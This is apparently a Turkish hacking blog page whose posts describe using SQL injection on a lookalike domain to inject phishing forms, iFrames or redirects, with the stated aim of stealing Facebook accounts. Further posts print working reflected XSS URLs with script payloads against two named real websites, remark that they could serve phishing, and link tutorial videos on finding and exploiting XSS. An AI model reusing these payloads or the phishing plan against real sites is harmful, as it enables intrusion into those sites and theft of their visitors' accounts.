0 SQLi Kullanarak URL Phishing Saldırıları

Merhaba bu yazıda alışılmış SQLi saldırılarının (Login bilgilerini alıp siteyi uçurmak gibi... ) aksine, SQLi barındıran sitenin URL adresini kendi lehimize göre nasıl manipule ederiz bu konuya değinicem.

"SQL Injection'ı buldun da fantezimi yapıyon ?" diye sorabilirsiniz...Örneğin; facebookmarket.com gibi güzel, kaymak gibi bi' domain buldunuz tabi sitede SQLi açığı mevcut olmalı! Bu siteye çakarsam 1 taşla 1 kuş vurmuş olurum, ama az sonra anlatacaklarımı bu sitede uygularsam çalamayacağım facebook account'u kalmaz.Başlayalım;

Muhtemel Senaryolar :

[1] SQLi açığı bulunan bir hedef bulmalıyız.

[2] Hedefe HTML Form enjekte edebiliriz. (İdeal & Basit)

[3] Hedefe iFrame enjekte edebiliriz.

[4] Kurbanı açık bulunan site üzerinden kendi tuzak yönlendirebiliriz.

[5] XSS injection yapabiliriz.

Kendinize bir hedef bulduğunuzu varsayarak 1. adımı geçiyorum.

0 Natro Web Hosting XSS

Natro Web Hosting Firması sitesinin domain check kısmında xss açığı olduğunu farkettim xssed.com'a submit ettim onaylanmasını bekliyorum...
İşte bulduğum açık:

http://whois.natro.com/index.php?DomainName="><script>alert(/XSSeD BY USLUBEY/)</script>

Sitede daha öncedende bulunmuş xss açıkları:
http://www.xssed.com/mirror/30330/
http://www.xssed.com/mirror/826/

0 Mynet XSS

http://haber.mynet.com/detail_news/?type="><script>alert("XSS3D By
UsluBey")</script>&id=N182493&date=24Ekim2008



Mail hack için kullanılabileceğini sanmıyorum fakat phishing için kullanılabilir...

0 XSS Açıklarının Kullanımı

XSS açıklarının bulunuşu videomun arkasından bulunan xss açıklarının nasıl kullanılacığını gösteren bir tutorial daha...

Konu: XSS Açıklarının Kullanımı
Video Formatı: Flash
Video: İzlemek İçin Tıklayın!

2 XSS Açıklarının Bulunuşu

Arşivimde bulunan XSS açıklarının nasıl bulunduğuna dair güzel bir videoyu paylaşmak istedim.
Konu: XSS Açıklarının Bulunuşu

Video Formatı: Flash
Video: İzlemek İçin Tıklayın!

Bir sonraki XSS konusuda videolu, onun konusu "XSS Açıklarının Nasıl Kullanıldığı" olucak gözlerimden uyku aktığı ve monütörü bulanık görmeye başladığımdan dolayı onu yarın paylaşıcam :)